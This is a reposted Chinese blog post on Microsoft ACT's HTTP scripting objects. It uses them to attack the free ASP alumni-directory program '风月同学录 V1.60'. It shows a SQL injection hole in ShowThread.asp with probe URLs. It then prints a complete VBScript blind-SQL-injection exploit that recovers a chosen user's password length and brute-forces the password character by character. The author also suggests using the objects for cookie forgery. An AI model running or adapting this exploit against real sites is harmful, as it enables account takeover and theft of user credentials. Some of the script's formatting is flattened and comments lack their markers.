本文共 4062 字，大约阅读时间需要 13 分钟。
昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中: -Connection对象 Close方法 Send方法 IsOpen属性 Port属性 RedirectDepth属性 Server属性 UseSSL属性 -Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵 Expires属性 Name属性 Path属性 ＆#118alue属性 -Cookies对象 Add方法 Remove方法 RemoveAll方法 Count属性 Item属性 -Header对象 Name属性 ＆#118alue属性 -Request对象 Body属性 CodePage属性 EncodeBody属性 EncodeQueryAsUTF8属性 Headers属性 HTTPVersion属性 Path属性 ResponseBufferSize属性 Verb属性 -Response对象 Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。 CodePage属性 BytesRecv属性 BytesSent属性 ContentLength属性 Headers属性 HeaderSize属性 HTTPVersion属性 Path属性 Port属性 ResultCode属性 HTTP状态代码 Server属性 TTFB属性 TTLB属性 UseSSl属性 -Test对象 CreateConnection方法 CreateRequest方法 GetCurrentUser方法 GetGlobalIndex方法 GetGlobalVariable方法 GetNextUser方法 IncrementGlobalIndex方法 SendRequest方法 SetGlobalIndex方法 SetGlobalVariable方法 Sleep方法 Trace方法 TraceLevel属性 -User对象 Cookies属性 Name属性 Password属性 到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明: oResponse = Test.SendRequest(strURL) 参数:strURL as string:表示所请求的URL 返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象) 这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:
...
topicid=request("RootID") sql="select topic,hits from bbswhere parentid=0 and bbsid="&topicid set rs=conn.execute(sql) ...非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1 http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2 数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。 要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo 注意:需要装Visual Studio.Net里的ACT工具 ********************************************* Option Explicit On Error Resume NextDim Test
Dim o_Response Dim Wrong Dim i,j,k Dim pwd_len Dim pwd Dim strings Dim username从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then username = WScript.Arguments(0) Else username = "luoluo" End IfWScript.Echo "开始探测,请等待... ..."
正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker" 存放密码 pwd = "" 密码的字符范围 strings = "0123456789abcdefghijklmnopqrstuvwxyz"建立对象
Set Test = CreateObject("ACT.Test")得到用户的密码的长度
For i = 0 to 128 step 1 发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些 Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)=" & i & "%20and%20userid=" & username & ")")如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then pwd_len = "" & i & "" End If Next猜解用户的密码
For j = 1 to pwd_len step 1 For k = 1 to len(strings) step 1 Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")=" & pwd & mid(strings,k,1)& "%20and%20userid=" & username & ")")If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1) End If Next NextIf err Then
WScript.Echo "错误:" & Error.Description Error.Clear Else 输出密码 WScript.Echo "密码:" & pwd End IfSet Test = nothing
转载地址：http://pmnli.baihongyu.com/